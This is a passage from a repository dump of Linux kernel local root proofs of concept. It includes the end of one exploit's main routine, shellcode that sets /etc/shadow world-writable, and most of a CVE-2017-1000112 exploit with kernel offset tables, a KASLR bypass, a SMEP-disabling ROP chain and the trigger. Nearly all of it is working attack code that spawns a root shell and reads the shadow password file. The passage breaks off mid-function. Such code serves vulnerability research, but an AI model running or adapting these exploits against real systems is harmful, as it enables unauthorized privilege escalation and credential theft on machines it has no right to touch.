| } 589 | if (unshare(CLONE_NEWNET) != 0) { 590 | perror("[-] unshare(CLONE_NEWUSER)"); 591 | exit(EXIT_FAILURE); 592 | } 593 | 594 | if (!write_file("/proc/self/setgroups", "deny")) { 595 | perror("[-] write_file(/proc/self/set_groups)"); 596 | exit(EXIT_FAILURE); 597 | } 598 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 599 | perror("[-] write_file(/proc/self/uid_map)"); 600 | exit(EXIT_FAILURE); 601 | } 602 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 603 | perror("[-] write_file(/proc/self/gid_map)"); 604 | exit(EXIT_FAILURE); 605 | } 606 | 607 | cpu_set_t my_set; 608 | CPU_ZERO(&my_set); 609 | CPU_SET(0, &my_set); 610 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 611 | perror("[-] sched_setaffinity()"); 612 | exit(EXIT_FAILURE); 613 | } 614 | 615 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 616 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 617 | exit(EXIT_FAILURE); 618 | } 619 | if (system("/sbin/ifconfig lo up") != 0) { 620 | perror("[-] system(/sbin/ifconfig lo up)"); 621 | exit(EXIT_FAILURE); 622 | } 623 | } 624 | 625 | void exec_shell() { 626 | char* shell = "/bin/bash"; 627 | char* args[] = {shell, "-i", NULL}; 628 | execve(shell, args, NULL); 629 | } 630 | 631 | bool is_root() { 632 | // We can't simple check uid, since we're running inside a namespace 633 | // with uid set to 0. Try opening /etc/shadow instead. 634 | int fd = open("/etc/shadow", O_RDONLY); 635 | if (fd == -1) 636 | return false; 637 | close(fd); 638 | return true; 639 | } 640 | 641 | void check_root() { 642 | printf("[.] checking if we got root\n"); 643 | if (!is_root()) { 644 | printf("[-] something went wrong =(\n"); 645 | return; 646 | } 647 | printf("[+] got r00t ^_^\n"); 648 | exec_shell(); 649 | } 650 | 651 | int main(int argc, char** argv) { 652 | printf("[.] starting\n"); 653 | 654 | printf("[.] checking distro and kernel versions\n"); 655 | detect_versions(); 656 | printf("[~] done, versions looks good\n"); 657 | 658 | printf("[.] checking SMEP and SMAP\n"); 659 | check_smep_smap(); 660 | printf("[~] done, looks good\n"); 661 | 662 | if (!fork()) { 663 | sleep(2), system("cat /etc/shadow"); 664 | return 0; 665 | } 666 | 667 | printf("[.] setting up namespace sandbox\n"); 668 | setup_sandbox(); 669 | printf("[~] done, namespace sandbox set up\n"); 670 | 671 | #if ENABLE_KASLR_BYPASS 672 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 673 | KERNEL_BASE = get_kernel_addr(); 674 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE); 675 | #endif 676 | 677 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS); 678 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 679 | 680 | unsigned long payload = (unsigned long)&get_root; 681 | 682 | #if ENABLE_SMEP_BYPASS 683 | printf("[.] SMEP bypass enabled, mmapping fake stack\n"); 684 | mmap_stack(); 685 | payload = XCHG_EAX_ESP_RET; 686 | printf("[~] done, fake stack mmapped\n"); 687 | #endif 688 | 689 | printf("[.] executing payload %lx\n", payload); 690 | oob_execute(payload); 691 | printf("[~] done, should be root now\n"); 692 | 693 | wait(NULL); 694 | 695 | return 0; 696 | } 697 | -------------------------------------------------------------------------------- /007-direct_inode_manipulation_2/shellcode.c: -------------------------------------------------------------------------------- 1 | #include "poc.h" 2 | 3 | void _start(void) { 4 | int (*user_path_at_empty)(int, char *, unsigned, void *, int *) = (void *)(X_user_path_at_empty + 5); 5 | int (*path_put)(void *) = (void *)(X_path_put + 5); 6 | struct path { void *mnt; void *dentry; } path = { 0 }; 7 | if (!user_path_at_empty(-100, (char []){ "/etc/shadow" }, 0, &path, 0)) { 8 | void *inode = (void *)(*(long *)(path.dentry + 48)); // dentry->d_inode 9 | *(unsigned short *)(inode + 0) |= 0666; // inode->i_mode 10 | path_put(&path); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /CVE-2017-1000112/README.md: -------------------------------------------------------------------------------- 1 | CVE-2017-1000112 2 | ================ 3 | 4 | This is a proof-of-concept local root exploit for the vulnerability in the UFO Linux kernel implementation CVE-2017-1000112. 5 | 6 | Some details: http://www.openwall.com/lists/oss-security/2017/08/13/1 7 | -------------------------------------------------------------------------------- /CVE-2017-1000112/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. 4 | // 5 | // Usage: 6 | // user@ubuntu:~$ uname -a 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 8 | // user@ubuntu:~$ whoami 9 | // user 10 | // user@ubuntu:~$ id 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 12 | // user@ubuntu:~$ gcc pwn.c -o pwn 13 | // user@ubuntu:~$ ./pwn 14 | // [.] starting 15 | // [.] checking distro and kernel versions 16 | // [.] kernel version '4.8.0-58-generic' detected 17 | // [~] done, versions looks good 18 | // [.] checking SMEP and SMAP 19 | // [~] done, looks good 20 | // [.] setting up namespace sandbox 21 | // [~] done, namespace sandbox set up 22 | // [.] KASLR bypass enabled, getting kernel addr 23 | // [~] done, kernel text: ffffffffae400000 24 | // [.] commit_creds: ffffffffae4a5d20 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 26 | // [.] SMEP bypass enabled, mmapping fake stack 27 | // [~] done, fake stack mmapped 28 | // [.] executing payload ffffffffae40008d 29 | // [~] done, should be root now 30 | // [.] checking if we got root 31 | // [+] got r00t ^_^ 32 | // root@ubuntu:/home/user# whoami 33 | // root 34 | // root@ubuntu:/home/user# id 35 | // uid=0(root) gid=0(root) groups=0(root) 36 | // root@ubuntu:/home/user# cat /etc/shadow 37 | // root:!:17246:0:99999:7::: 38 | // daemon:*:17212:0:99999:7::: 39 | // bin:*:17212:0:99999:7::: 40 | // sys:*:17212:0:99999:7::: 41 | // ... 42 | // 43 | // Andrey Konovalov 44 | 45 | #define _GNU_SOURCE 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | 65 | #define ENABLE_KASLR_BYPASS 1 66 | #define ENABLE_SMEP_BYPASS 1 67 | 68 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 69 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 70 | 71 | // Will be overwritten by detect_versions(). 72 | int kernel = -1; 73 | 74 | struct kernel_info { 75 | const char* distro; 76 | const char* version; 77 | uint64_t commit_creds; 78 | uint64_t prepare_kernel_cred; 79 | uint64_t xchg_eax_esp_ret; 80 | uint64_t pop_rdi_ret; 81 | uint64_t mov_dword_ptr_rdi_eax_ret; 82 | uint64_t mov_rax_cr4_ret; 83 | uint64_t neg_rax_ret; 84 | uint64_t pop_rcx_ret; 85 | uint64_t or_rax_rcx_ret; 86 | uint64_t xchg_eax_edi_ret; 87 | uint64_t mov_cr4_rdi_ret; 88 | uint64_t jmp_rcx; 89 | }; 90 | 91 | struct kernel_info kernels[] = { 92 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 93 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 94 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 95 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 96 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 97 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 98 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 99 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 100 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 101 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 102 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 103 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 104 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 105 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 106 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 107 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 108 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 109 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 110 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 111 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 112 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 113 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 114 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 115 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 116 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 117 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 118 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 119 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 120 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 121 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 122 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 123 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 124 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 125 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 126 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 127 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 128 | { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 129 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 130 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 131 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 132 | }; 133 | 134 | // Used to get root privileges. 135 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 136 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 137 | 138 | // Used when ENABLE_SMEP_BYPASS is used. 139 | // - xchg eax, esp ; ret 140 | // - pop rdi ; ret 141 | // - mov dword ptr [rdi], eax ; ret 142 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 143 | // - neg rax ; ret 144 | // - pop rcx ; ret 145 | // - or rax, rcx ; ret 146 | // - xchg eax, edi ; ret 147 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 148 | // - jmp rcx 149 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 150 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 151 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 152 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 153 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 154 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 155 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 156 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 157 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 158 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 159 | 160 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 161 | 162 | typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); 163 | typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); 164 | 165 | void get_root(void) { 166 | ((_commit_creds)(COMMIT_CREDS))( 167 | ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); 168 | } 169 | 170 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 171 | 172 | uint64_t saved_esp; 173 | 174 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 175 | // can be used to omit a function's prologue, so I had to use this weird 176 | // wrapper hack as a workaround. Note: Clang does support it, which means it 177 | // has better support of GCC attributes than GCC itself. Funny. 178 | void wrapper() { 179 | asm volatile (" \n\ 180 | payload: \n\ 181 | movq %%rbp, %%rax \n\ 182 | movq $0xffffffff00000000, %%rdx \n\ 183 | andq %%rdx, %%rax \n\ 184 | movq %0, %%rdx \n\ 185 | addq %%rdx, %%rax \n\ 186 | movq %%rax, %%rsp \n\ 187 | call get_root \n\ 188 | ret \n\ 189 | " : : "m"(saved_esp) : ); 190 | } 191 | 192 | void payload(); 193 | 194 | #define CHAIN_SAVE_ESP \ 195 | *stack++ = POP_RDI_RET; \ 196 | *stack++ = (uint64_t)&saved_esp; \ 197 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 198 | 199 | #define SMEP_MASK 0x100000 200 | 201 | #define CHAIN_DISABLE_SMEP \ 202 | *stack++ = MOV_RAX_CR4_RET; \ 203 | *stack++ = NEG_RAX_RET; \ 204 | *stack++ = POP_RCX_RET; \ 205 | *stack++ = SMEP_MASK; \ 206 | *stack++ = OR_RAX_RCX_RET; \ 207 | *stack++ = NEG_RAX_RET; \ 208 | *stack++ = XCHG_EAX_EDI_RET; \ 209 | *stack++ = MOV_CR4_RDI_RET; 210 | 211 | #define CHAIN_JMP_PAYLOAD \ 212 | *stack++ = POP_RCX_RET; \ 213 | *stack++ = (uint64_t)&payload; \ 214 | *stack++ = JMP_RCX; 215 | 216 | void mmap_stack() { 217 | uint64_t stack_aligned, stack_addr; 218 | int page_size, stack_size, stack_offset; 219 | uint64_t* stack; 220 | 221 | page_size = getpagesize(); 222 | 223 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 224 | stack_addr = stack_aligned - page_size * 4; 225 | stack_size = page_size * 8; 226 | stack_offset = XCHG_EAX_ESP_RET % page_size; 227 | 228 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 229 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 230 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 231 | perror("[-] mmap()"); 232 | exit(EXIT_FAILURE); 233 | } 234 | 235 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 236 | 237 | CHAIN_SAVE_ESP; 238 | CHAIN_DISABLE_SMEP; 239 | CHAIN_JMP_PAYLOAD; 240 | } 241 | 242 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 243 | 244 | #define SYSLOG_ACTION_READ_ALL 3 245 | #define SYSLOG_ACTION_SIZE_BUFFER 10 246 | 247 | void mmap_syslog(char** buffer, int* size) { 248 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 249 | if (*size == -1) { 250 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 251 | exit(EXIT_FAILURE); 252 | } 253 | 254 | *size = (*size / getpagesize() + 1) * getpagesize(); 255 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 256 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 257 | 258 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 259 | if (*size == -1) { 260 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 261 | exit(EXIT_FAILURE); 262 | } 263 | } 264 | 265 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 266 | const char* needle1 = "Freeing unused"; 267 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 268 | if (substr == NULL) { 269 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 270 | exit(EXIT_FAILURE); 271 | } 272 | 273 | int start = 0; 274 | int end = 0; 275 | for (end = start; substr[end] != '-'; end++); 276 | 277 | const char* needle2 = "ffffff"; 278 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 279 | if (substr == NULL) { 280 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 281 | exit(EXIT_FAILURE); 282 | } 283 | 284 | char* endptr = &substr[16]; 285 | unsigned long r = strtoul(&substr[0], &endptr, 16); 286 | 287 | r &= 0xffffffffff000000ul; 288 | 289 | return r; 290 | } 291 | 292 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 293 | const char* needle1 = "Freeing unused"; 294 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 295 | if (substr == NULL) { 296 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 297 | exit(EXIT_FAILURE); 298 | } 299 | 300 | int start = 0; 301 | int end = 0; 302 | for (start = 0; substr[start] != '-'; start++); 303 | for (end = start; substr[end] != '\n'; end++); 304 | 305 | const char* needle2 = "ffffff"; 306 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 307 | if (substr == NULL) { 308 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 309 | exit(EXIT_FAILURE); 310 | } 311 | 312 | char* endptr = &substr[16]; 313 | unsigned long r = strtoul(&substr[0], &endptr, 16); 314 | 315 | r &= 0xfffffffffff00000ul; 316 | r -= 0x1000000ul; 317 | 318 | return r; 319 | } 320 | 321 | unsigned long get_kernel_addr() { 322 | char* syslog; 323 | int size; 324 | mmap_syslog(&syslog, &size); 325 | 326 | if (strcmp("trusty", kernels[kernel].distro) == 0 && 327 | strncmp("4.4.0", kernels[kernel].version, 5) == 0) 328 | return get_kernel_addr_trusty(syslog, size); 329 | if (strcmp("xenial", kernels[kernel].distro) == 0 && 330 | strncmp("4.8.0", kernels[kernel].version, 5) == 0) 331 | return get_kernel_addr_xenial(syslog, size); 332 | 333 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); 334 | exit(EXIT_FAILURE); 335 | } 336 | 337 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 338 | 339 | struct ubuf_info { 340 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 341 | uint64_t ctx; // void * 342 | uint64_t desc; // unsigned long 343 | }; 344 | 345 | struct skb_shared_info { 346 | uint8_t nr_frags; // unsigned char 347 | uint8_t tx_flags; // __u8 348 | uint16_t gso_size; // unsigned short 349 | uint16_t gso_segs; // unsigned short 350 | uint16_t gso_type; // unsigned short 351 | uint64_t frag_list; // struct sk_buff * 352 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 353 | uint32_t tskey; // u32 354 | uint32_t ip6_frag_id; // __be32 355 | uint32_t dataref; // atomic_t 356 | uint64_t destructor_arg; // void * 357 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 358 | }; 359 | 360 | struct ubuf_info ui; 361 | 362 | void init_skb_buffer(char* buffer, unsigned long func) { 363 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 364 | memset(ssi, 0, sizeof(*ssi)); 365 | 366 | ssi->tx_flags = 0xff; 367 | ssi->destructor_arg = (uint64_t)&ui; 368 | ssi->nr_frags = 0; 369 | ssi->frag_list = 0; 370 | 371 | ui.callback = func; 372 | } 373 | 374 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 375 | 376 | #define SHINFO_OFFSET 3164 377 | 378 | void oob_execute(unsigned long payload) { 379 | char buffer[4096]; 380 | memset(&buffer[0], 0x42, 4096); 381 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 382 | 383 | int s = socket(PF_INET, SOCK_DGRAM, 0); 384 | if (s == -1) { 385 | perror("[-] socket()"); 386 | exit(EXIT_FAILURE); 387 | } 388 | 389 | struct sockaddr_in addr; 390 | memset(&addr, 0, sizeof(addr)); 391 | addr.sin_family = AF_INET; 392 | addr.sin_port = htons(8000); 393 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 394 | 395 | if (connect(s, (void*)&addr, sizeof(addr))) { 396 | perror("[-] connect()"); 397 | exit(EXIT_FAILURE); 398 | } 399 | 400 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 401 | int rv = send(s, buffer, size, MSG_MORE); 402 | if (rv != size) { 403 | perror("[-] send()"); 404 | exit(EXIT_FAILURE); 405 | } 406 | 407 | int val = 1; 408 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 409 | if (rv != 0) { 410 | perror("[-] setsockopt(SO_NO_CHECK)"); 411 | exit(EXIT_FAILURE); 412 | } 413 | 414 | send(s, buffer, 1, 0); 415 | 416 | close(s); 417 | } 418 | 419 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 420 | 421 | #define CHUNK_SIZE 1024 422 | 423 | int read_file(const char* file, char* buffer, int max_length) { 424 | int f = open(file, O_RDONLY); 425 | if (f == -1) 426 | return -1; 427 | int bytes_read = 0; 428 | while (true) { 429 | int bytes_to_read = CHUNK_SIZE; 430 | if (bytes_to_read > max_length - bytes_read) 431 | bytes_to_read = max_length - bytes_read; 432 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 433 | if (rv == -1) 434 | return -1; 435 | bytes_read += rv; 436 | if (rv == 0) 437 | return bytes_read; 438 | } 439 | } 440 | 441 | #define LSB_RELEASE_LENGTH 1024 442 | 443 | void get_distro_codename(char* output, int max_length) { 444 | char buffer[LSB_RELEASE_LENGTH]; 445 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 446 | if (length == -1) { 447 | perror("[-] open/read(/etc/lsb-release)"); 448 | exit(EXIT_FAILURE); 449 | } 450 | const char *needle = "DISTRIB_CODENAME="; 451 | int needle_length = strlen(needle); 452 | char* found = memmem(&buffer[0], length, needle, needle_length); 453 | if (found == NULL) { 454 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 455 | exit(EXIT_FAILURE); 456 | } 457 | int i; 458 | for (i = 0; found[needle_length + i] != '\n'; i++) { 459 | assert(i < max_length); 460 | assert((found - &buffer[0]) + needle_length + i < length); 461 | output[i] = found[needle_length + i]; 462 | } 463 | } 464 | 465 | void get_kernel_version(char* output, int max_length) { 466 | struct utsname u; 467 | int rv = uname(&u); 468 | if (rv != 0) { 469 | perror("[-] uname())"); 470 | exit(EXIT_FAILURE); 471 | } 472 | assert(strlen(u.release) <= max_length); 473 | strcpy(&output[0], u.release); 474 | } 475 | 476 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 477 | 478 | #define DISTRO_CODENAME_LENGTH 32 479 | #define KERNEL_VERSION_LENGTH 32 480 | 481 | void detect_versions() { 482 | char codename[DISTRO_CODENAME_LENGTH]; 483 | char version[KERNEL_VERSION_LENGTH]; 484 | 485 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 486 | 